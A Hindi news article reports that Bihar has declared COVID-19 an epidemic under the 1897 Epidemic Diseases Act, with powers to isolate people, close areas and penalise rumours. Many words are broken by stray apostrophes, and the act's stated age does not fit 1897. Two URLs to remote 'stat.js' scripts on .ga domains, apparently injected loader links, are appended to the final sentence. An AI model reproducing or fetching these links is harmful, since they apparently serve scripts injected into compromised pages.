बिहार में नोवेल कोरोना वा’यरस को राज्य सरकार ने महा’मा’री घो’षित कर दिया है। इसके तहत बिहार में प्रशासन को असीमित अधिकार दिया गया है। इसके ला’गू होने से सरकार किसी भी संदि’ग्ध व्यक्ति में कोरोना वा’यरस के लक्षण पाए जाने पर उसकी जां’च करा सकती है और उसे ब’लपूर्व’क आइसोलेशन वार्ड में भर्ती करा सकती है हालांकि जांच रिपोर्ट आने पर अथवा 14 दिनों तक आइसोलेशन में रखने के बाद उसे छोड़ा भी जा सकता है। जो भी संदि’ग्ध व्यक्ति जांच, इलाज से इं’कार करेगा उसके खि’लाफ भारतीय दं’ड विधान की धा’रा – 188 के तहत का’नूनी कार्रवाई की जा सकती है।

कार्र’वाई करने का अधिकार स्वास्थ्य विभाग के प्रधान सचिव एवं संबंधित जिला के जिलाधिकारी को सौंपा गया है। कोरोना वा’यरस को महा’मा’री घो’षित करने का उद्देश्य इसके सं’क्रमण के प्रसार को रोकना और म’हामा’री कानून के पालन नहीं करने वाले पर व्यापक समाजहित में का’र्रवा’ई करना है। मंगलवार को राज्य सरकार ने स्वास्थ्य विभाग की अनुशंसा पर बिहार में ‘ एपिडेमिक डिजीज, कोविड-19, नियमावली 2020’ को तत्काल प्रभाव से ला’गू कर दिया। स्वास्थ्य विभाग की ओर से इस संबंध में राजकीय गजट के माध्यम से अधिसूचना जा’री की गयी। इस नियमावली को केंद्रीय कानून ‘द एपिडिमिक डिजीज एक्ट, 1897’ के विभिन्न प्रावधानों के तहत ला’गू किया गया है।

बिहार में पहली बार कोई बीमारी म’हामा’री घो’षित की गयी है। दरअसल 128 वर्ष पुराने केंद्रीय कानून ‘द ऐपिडिमिक डिजीज एक्ट, 1897’ के तहत बिहार सरकार ने पहली बार को’विड (कोरोना वा’यरल डि’जीज)-19 को म’हामा’री के रूप में घो’षित किया है। राज्य स्वास्थ्य समिति के कार्यपालक निदेशक मनोज कुमार ने कहा कि हमने इसके पूर्व बिहार में किसी खास बी’मारी को म’हामा’री घो’षित होते हुए नहीं सुना है। बिहार सरकार ने कोरोना वा’यर’स के संक्रमण के विस्तार को रोकने के लिए यह निर्णय लिया है।

बिहार में कोरोना वा’यरस को लेकर गलत नियत से इलेक्ट्रॉनिक/ प्रिंट या सोशल मीडिया के माध्यम से अ’फवा’ह फैलाने वाले किसी भी व्यक्ति/ संस्थान/ संगठन पर कार्र’वाई की जा सकती है। इसलिए लोगों को सलाह दी गयी है कि वे ऐसे किसी कार्य में शामिल न हों अन्यथा उनके खि’लाफ दं’डात्म’क का’र्रवाई की जाएगी। इस का’नून के तहत बिहार में स्थित किसी भी निजी लैब को कोरोना वा’यरस की जांच का अधिकार नहीं दिया गया है। किसी भी सं’क्रमि’त व्यक्ति के जांच सैं’पल को सिविल सर्जन द्वारा अधिकृत नो’डल अधिकारी द्वारा ए’कत्र किया जाएगा और इसकी जानकारी संबंधित जिले के सहायक जिला सिविल सर्जन को त’त्काल देनी होगी।

वहीं, 29 फरवरी, 2020 के बाद कोरोना प्रभावित देशों की यात्रा से लौटने वाले किसी भी व्यक्ति द्वारा जां’च के लिए सीधे टॉल फ्री नंबर- 104 से जानकारी हासिल कर सकते हैं। इस कानून के तहत जिलाधिकारी को अधिकार दिया गया है कि वे किसी भी गांव, प्रखंड, सिटी, वार्ड, कॉलोनी या किसी भी भौगोलिक क्षेत्र में कोरोना वा’यरस के मरीज की सूचना मिलने पर तत्काल का’र्रवा’ई कर सकते है। वे उन क्षेत्रों में स्थित स्कूल, कार्यालय को बं’द कर सकते है और भीड़ के ए’कत्र होने पर रोक लगा सकते हैं। वाहनों के परिचालन पर भी रो’क लगा सकते हैं। सभी संदि’ग्ध मरीजों को अस्पताल में आइ’सोले’शन के लिए भर्ती किया जा सकता है। उन इ’लाकों में किसी भी सरकारी विभाग के कर्मी को ड’यूटी में रा’हत दी जा सकती है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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